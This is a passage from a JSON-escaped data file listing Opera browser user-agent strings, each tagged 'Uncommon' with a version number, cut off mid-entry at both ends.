6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/59.0.3071.115 Safari\\/537.36 OPR\\/46.0.2597.57\"},{\"commonality\":\"Uncommon\",\"version\":\"52\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/65.0.3325.181 Safari\\/537.36 OPR\\/52.0.2871.64\"},{\"commonality\":\"Uncommon\",\"version\":\"34\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/47.0.2526.111 Safari\\/537.36 OPR\\/34.0.2036.50\"},{\"commonality\":\"Uncommon\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/58.0.3029.81 Safari\\/537.36 OPR\\/45.0.2552.812\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Linux mips; ) Presto\\/2.12.407 Version\\/12.51 MB97\\/0.39.24.3 (DIGIHOME, Mxl661L32, wireless) VSTVB_MB97  SmartTvA\\/3.0.0\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (X11; FreeBSD 8.1-RELEASE i386; Edition Next) Presto\\/2.12.388 Version\\/12.10\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (X11; Linux zvav; U; fi) Presto\\/2.12.423 Version\\/12.16\"},{\"commonality\":\"Uncommon\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/60.0.3112.90 Safari\\/537.36 OPR\\/47.0.2631.71\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Windows NT 6.1; WOW64; Edition Campaign 21) Presto\\/2.12.388 Version\\/12.16\"},{\"commonality\":\"Uncommon\",\"version\":\"36\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/49.0.2623.87 Safari\\/537.36 OPR\\/36.0.2130.46\"},{\"commonality\":\"Uncommon\",\"version\":\"50\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/63.0.3239.132 Safari\\/537.36 OPR\\/50.0.2762.58\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Opera\\/9.01 (Windows NT 5.1; U; en)\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/12.0(Windows NT 5.2;U;en)Presto\\/22.9.168 Version\\/12.00\"},{\"commonality\":\"Uncommon\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/60.0.3112.90 Safari\\/537.36 OPR\\/47.0.2631.80\"},{\"commonality\":\"Uncommon\",\"version\":\"32\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/45.0.2454.85 Safari\\/537.36 OPR\\/32.0.1948.25\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Opera\\/9.80 (Windows NT 6.1; WOW64; U; en) Presto\\/2.10.229 Version\\/11.64\"},{\"commonality\":\"Uncommon\",\"version\":\"37\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/50.0.2661.102 Safari\\/537.36 OPR\\/37.0.2178.54\"},{\"commonality\":\"Uncommon\",\"version\":\"40\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/53.0.2785.116 Safari\\/537.36 OPR\\/40.0.2308.81\"},{\"commonality\":\"Uncommon\",\"version\":\"41\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/54.0.2840.99 Safari\\/537.36 OPR\\/41.0.2353.69\"},{\"commonality\":\"Uncommon\",\"version\":\"28\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 5.0.2; XT1068 Build\\/LXB22.46-28) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/41.0.2272.81 Mobile Safari\\/537.36 OPR\\/28.0.1764.90386\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Opera\\/9.80 (Windows NT 6.1; U; ru) Presto\\/2.9.168 Version\\/11.50\"},{\"commonality\":\"Uncommon\",\"version\":\"39\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/52.0.2743.82 Safari\\/537.36 OPR\\/39.0.2256.43\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Linux mips; ) Presto\\/2.12.407 Version\\/12.51 MB95\\/3.6.3.J (HITACHI, Si2157LG32, wireless)\"},{\"commonality\":\"Uncommon\",\"version\":\"38\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/51.0.2704.63 Safari\\/537.36 OPR\\/38.0.2220.29\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Opera\\/9.80 (Linux armv6l; U; (SonyBDP\\/BDV11); en) Presto\\/2.8.115 Version\\/11.10\"},{\"commonality\":\"Uncommon\",\"version\":\"43\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/56.0.2924.87 Safari\\/537.36 OPR\\/43.0.2442.991\"},{\"commonality\":\"Uncommon\",\"version\":\"7\",\"ua\":\"Opera\\/7.50 (Windows XP; U)\"},{\"commonality\":\"Uncommon\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/58.0.3029.81 Safari\\/537.36 OPR\\/45.0.2552.812\"},{\"commonality\":\"Uncommon\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/62.0.3202.94 Safari\\/537.36 OPR\\/49.0.2725.64\"},{\"commonality\":\"Uncommon\",\"version\":\"30\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/43.0.2357.130 Safari\\/537.36 OPR\\/30.0.1835.125\"},{\"commonality\":\"Uncommon\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/58.0.3029.110 Safari\\/537.36 OPR\\/45.0.2552.888\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Windows NT 6.2; WOW64) Presto\\/2.12.388 Version\\/12.14\"},{\"commonality\":\"Uncommon\",\"version\":\"42\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/55.0.2883.75 Safari\\/537.36 OPR\\/42.0.2393.85\"},{\"commonality\":\"Uncommon\",\"version\":\"17\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/30.0.1599.69 Safari\\/537.36 OPR\\/17.0.1241.45\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Opera\\/9.64 (X11; Linux i686; U; Linux Mint; nb) Presto\\/2.1.1\"},{\"commonality\":\"Uncommon\",\"version\":\"42.7\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/55.0.2883.91 Safari\\/537.36 OPR\\/42.7.2246.114996\"},{\"commonality\":\"Uncommon\",\"version\":\"43\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/56.0.2924.76 Safari\\/537.36 OPR\\/43.0.2442.806\"},{\"commonality\":\"Uncommon\",\"version\":\"38\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_3) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/51.0.2704.106 Safari\\/537.36 OPR\\/38.0.2220.41\"},{\"commonality\":\"Uncommon\",\"version\":\"37\",\"ua\":\"Mozilla\\/5.0 (undefined) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/50.0.2661.94 Safari\\/537.36 OPR\\/37.0.2178.43\"},{\"commonality\":\"Uncommon\",\"version\":\"40\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/53.0.2785.101 Safari\\/537.36 OPR\\/40.0.2308.62\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (X11; Linux x86_64) Presto\\/2.12.388 Version\\/12.14\"},{\"commonality\":\"Uncommon\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/64.0.3282.186 Safari\\/537.36 OPR\\/51.0.2830.55\"},{\"commonality\":\"Uncommon\",\"version\":\"38\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/51.0.2704.84 Safari\\/537.36 OPR\\/38.0.2220.31\"},{\"commonality\":\"Uncommon\",\"version\":\"44\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/57.0.2987.133 Safari\\/537.36 OPR\\/44.0.2510.1449\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Linux mips; ) Presto\\/2.12.407 Version\\/12.51 MB97\\/0.39.24.3 (JVC, Mxl661L32, wireless) VSTVB_MB97  SmartTvA\\/3.0.0\"},{\"commonality\":\"Uncommon\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/59.0.3071.115 Safari\\/537.36 OPR\\/46.0.2597.57\"},{\"commonality\":\"Uncommon\",\"version\":\"36\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/49.0.2623.87 Safari\\/537.36 OPR\\/36.0.2130.46\"},{\"commonality\":\"Uncommon\",\"version\":\"50\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/63.0.3239.132 Safari\\/537.36 OPR\\/50.0.2762.67\"},{\"commonality\":\"Uncommon\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/58.0.3029.81 Safari\\/537.36 OPR\\/45.0.2552.812\"},{\"commonality\":\"Uncommon\",\"version\":\"44\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/57.0.2987.133 Safari\\/537.36 OPR\\/44.0.2510.1218\"},{\"commonality\":\"Uncommon\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/58.0.3029.110 Safari\\/537.36 OPR\\/45.0.2552.898\"},{\"commonality\":\"Uncommon\",\"version\":\"16\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/29.0.1547.57 Safari\\/537.36 OPR\\/16.0.1196.73\"},{\"commonality\":\"Uncommon\",\"version\":\"39\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_3) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/52.0.2743.82 Safari\\/537.36 OPR\\/39.0.2256.43\"},{\"commonality\":\"Uncommon\",\"version\":\"41\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/54.0.2840.87 Safari\\/537.36 OPR\\/41.0.2353.56\"},{\"commonality\":\"Uncommon\",\"version\":\"39\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/52.0.2743.82 Safari\\/537.36 OPR\\/39.0.2256.43\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Windows NT 6.0) Presto\\/2.12.388 Version\\/12.17\"},{\"commonality\":\"Uncommon\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/59.0.3071.115 Safari\\/537.36 OPR\\/46.0.2597.46\"},{\"commonality\":\"Uncommon\",\"version\":\"15\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/28.0.1500.72 Safari\\/537.36 OPR\\/15.0.1147.148\"},{\"commonality\":\"Uncommon\",\"version\":\"41\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/54.0.2840.99 Safari\\/537.36 OPR\\/41.0.2353.69\"},{\"commonality\":\"Uncommon\",\"version\":\"37\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/50.0.2661.87 Safari\\/537.36 OPR\\/37.0.2178.32\"},{\"commonality\":\"Uncommon\",\"version\":\"42\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/55.0.2883.87 Safari\\/537.36 OPR\\/42.0.2393.137\"},{\"commonality\":\"Uncommon\",\"version\":\"33\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/46.0.2490.80 Safari\\/537.36 OPR\\/33.0.1990.58\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/12.02 (Android 4.1; Linux; Opera Mobi\\/ADR-1111101157; U; en-US) Presto\\/2.9.201 Version\\/12.02\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Opera\\/9.50 (Nintendo DSi; Opera\\/507; U; en-GB)\"},{\"commonality\":\"Uncommon\",\"version\":\"34\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/47.0.2526.111 Safari\\/537.36 OPR\\/34.0.2036.50\"},{\"commonality\":\"Uncommon\",\"version\":\"35\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/48.0.2564.116 Safari\\/537.36 OPR\\/35.0.2066.82\"},{\"commonality\":\"Uncommon\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/60.0.3112.78 Safari\\/537.36 OPR\\/47.0.2631.55\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Opera\\/9.0 (Windows NT 5.1; U; en)\"},{\"commonality\":\"Uncommon\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/62.0.3202.89 Safari\\/537.36 OPR\\/49.0.2725.39\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Opera\\/9.80 (Macintosh; Intel Mac OS X 10.6.8; U; de) Presto\\/2.9.168 Version\\/11.52\"},{\"commonality\":\"Uncommon\",\"version\":\"28\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/41.0.2272.76 Safari\\/537.36 OPR\\/28.0.1750.40 (Edition Yx 01)\"},{\"commonality\":\"Uncommon\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/59.0.3071.86 Safari\\/537.36 OPR\\/46.0.2597.32\"},{\"commonality\":\"Uncommon\",\"version\":\"36\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/49.0.2623.112 Safari\\/537.36 OPR\\/36.0.2130.75\"},{\"commonality\":\"Uncommon\",\"version\":\"43\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/56.0.2924.87 Safari\\/537.36 OPR\\/43.0.2442.1144\"},{\"commonality\":\"Uncommon\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/61.0.3163.100 Safari\\/537.36 OPR\\/48.0.2685.39\"},{\"commonality\":\"Uncommon\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/62.0.3202.89 Safari\\/537.36 OPR\\/49.0.2725.39\"},{\"commonality\":\"Uncommon\",\"version\":\"42\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/55.0.2883.87 Safari\\/537.36 OPR\\/42.0.2393.94\"},{\"commonality\":\"Uncommon\",\"version\":\"14\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.31 (KHTML, like Gecko) Chrome\\/26.0.1410.58 Safari\\/537.31 OPR\\/14.0.1074.57768\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Opera\\/9.80 (Windows NT 6.2; WOW64; U; cs) Presto\\/2.10.229 Version\\/11.62\"},{\"commonality\":\"Uncommon\",\"version\":\"27\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/40.0.2214.94 Safari\\/537.36 OPR\\/27.0.1689.66 (Edition RMV)\"},{\"commonality\":\"Uncommon\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/61.0.3163.100 Safari\\/537.36 OPR\\/48.0.2685.39\"},{\"commonality\":\"Uncommon\",\"version\":\"38\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/51.0.2704.106 Safari\\/537.36 OPR\\/38.0.2220.41\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Windows NT 6.2) Presto\\/2.12.388 Version\\/12.14\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Windows NT 6.2; Win64; x64) Presto\\/2.12.388 Version\\/12.16\"},{\"commonality\":\"Uncommon\",\"version\":\"36\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/49.0.2623.110 Safari\\/537.36 OPR\\/36.0.2130.65\"},{\"commonality\":\"Uncommon\",\"version\":\"37\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 5.1.1; A37fw Build\\/LMY47V) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/50.0.2661.94 Mobile Safari\\/537.36 OPR\\/37.0.2192.110129\"},{\"commonality\":\"Uncommon\",\"version\":\"44\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/57.0.2987.98 Safari\\/537.36 OPR\\/44.0.2510.857\"},{\"commonality\":\"Uncommon\",\"version\":\"38\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/51.0.2704.84 Safari\\/537.36 OPR\\/38.0.2220.31\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Linux mips; ) Presto\\/2.12.407 Version\\/12.51 MB97\\/0.0.39.5 (JVC, Mxl661LG32, wireless) VSTVB_MB97  SmartTvA\\/3.0.0\"},{\"commonality\":\"Uncommon\",\"version\":\"7\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Opera 7.54 [en]\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/12.80 (Windows NT 5.1; U; en) Presto\\/2.10.289 Version\\/12.02\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (X11; Linux zvav; U; ro) Presto\\/2.12.423 Version\\/12.16\"},{\"commonality\":\"Uncommon\",\"version\":\"43\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/56.0.2924.76 Safari\\/537.36 OPR\\/43.0.2442.806\"},{\"commonality\":\"Uncommon\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/62.0.3202.94 Safari\\/537.36 OPR\\/49.0.2725.64\"},{\"commonality\":\"Uncommon\",\"version\":\"50\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/63.0.3239.108 Safari\\/537.36 OPR\\/50.0.2762.45\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Windows NT 5.1; U; en) Presto\\/2.10.289 Version\\/12.00\"},{\"commonality\":\"Uncommon\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/62.0.3202.89 Safari\\/537.36 OPR\\/49.0.2725.39\"},{\"commonality\":\"Uncommon\",\"version\":\"22\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 4.3; NokiaX2DS Build\\/JLS36C) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/35.0.1916.138 Mobile Safari\\/537.36 OPR\\/22.0.1485.80265\"},{\"commonality\":\"Uncommon\",\"version\":\"41\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/54.0.2840.87 Safari\\/537.36 OPR\\/41.0.2353.56\"},{\"commonality\":\"Uncommon\",\"version\":\"15\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/28.0.1500.20 Safari\\/537.36  OPR\\/15.0.1147.18 (Edition Next)\"},{\"commonality\":\"Uncommon\",\"version\":\"26\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/39.0.2171.95 Safari\\/537.36 OPR\\/26.0.1656.60\"},{\"commonality\":\"Uncommon\",\"version\":\"16\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/29.0.1547.57 Safari\\/537.36 OPR\\/16.0.1196.62\"},{\"commonality\":\"Uncommon\",\"version\":\"44\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/57.0.2987.98 Safari\\/537.36 OPR\\/44.0.2510.857 (Edition Yx)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Opera\\/9.80 (X11; Linux zvav; U; sv) Presto\\/2.8.119 Version\\/11.10\"},{\"commonality\":\"Uncommon\",\"version\":\"52\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/65.0.3325.162 Safari\\/537.36 OPR\\/52.0.2871.30\"},{\"commonality\":\"Uncommon\",\"version\":\"39\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/52.0.2743.82 Safari\\/537.36 OPR\\/39.0.2256.48\"},{\"commonality\":\"Uncommon\",\"version\":\"33\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/46.0.2471.2 Safari\\/537.36 OPR\\/33.0.1967.0 (Edition developer)\"},{\"commonality\":\"Uncommon\",\"version\":\"50\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/63.0.3239.132 Safari\\/537.36 OPR\\/50.0.2762.67\"},{\"commonality\":\"Uncommon\",\"version\":\"41\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/54.0.2840.59 Safari\\/537.36 OPR\\/41.0.2353.46\"},{\"commonality\":\"Uncommon\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/64.0.3282.168 Safari\\/537.36 OPR\\/51.0.2830.40\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Opera\\/9.80 (Windows NT 5.1; U; en) Presto\\/2.2.15 Version\\/10.00\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Opera\\/9.80 (Windows NT 6.1; U; en) Presto\\/2.9.168 Version\\/11.52\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Opera\\/9.80 (Windows NT 5.2; U; en) Presto\\/2.2.15 Version\\/10.10\"},{\"commonality\":\"Uncommon\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/64.0.3282.168 Safari\\/537.36 OPR\\/51.0.2830.40\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Opera\\/9.80 (X11; Linux zvav; U; hu) Presto\\/2.8.119 Version\\/11.10\"},{\"commonality\":\"Uncommon\",\"version\":\"16\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/29.0.1547.57 Safari\\/537.36 OPR\\/16.0.1196.73\"},{\"commonality\":\"Uncommon\",\"version\":\"25\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/43.0.2357.125 Safari\\/537.36 OPR\\/25.0.1614.71\"},{\"commonality\":\"Uncommon\",\"version\":\"32\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/45.0.2454.85 Safari\\/537.36 OPR\\/32.0.1948.25\"},{\"commonality\":\"Uncommon\",\"version\":\"32\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/45.0.2454.85 Safari\\/537.36 OPR\\/32.0.1948.19 (Edition beta)\"},{\"commonality\":\"Uncommon\",\"version\":\"20\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/33.0.1750.166 Safari\\/537.36 OPR\\/20.0.1396.73172\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Windows NT 6.2; WOW64) Presto\\/2.12.388 Version\\/12.15\"},{\"commonality\":\"Uncommon\",\"version\":\"28\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/41.0.2272.89 Safari\\/537.36 OPR\\/28.0.1750.48\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Opera\\/9.80 (Windows NT 6.1; WOW64; U; pt) Presto\\/2.10.229 Version\\/11.62\"},{\"commonality\":\"Uncommon\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/60.0.3112.78 Safari\\/537.36 OPR\\/47.0.2631.55\"},{\"commonality\":\"Uncommon\",\"version\":\"28\",\"ua\":\"Mozilla\\/5.0 (Linux; BRAVIA 4K 2015 Build\\/LMY48E.S265) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/41.0.2272.101 Safari\\/537.36 OPR\\/28.0.1754.0 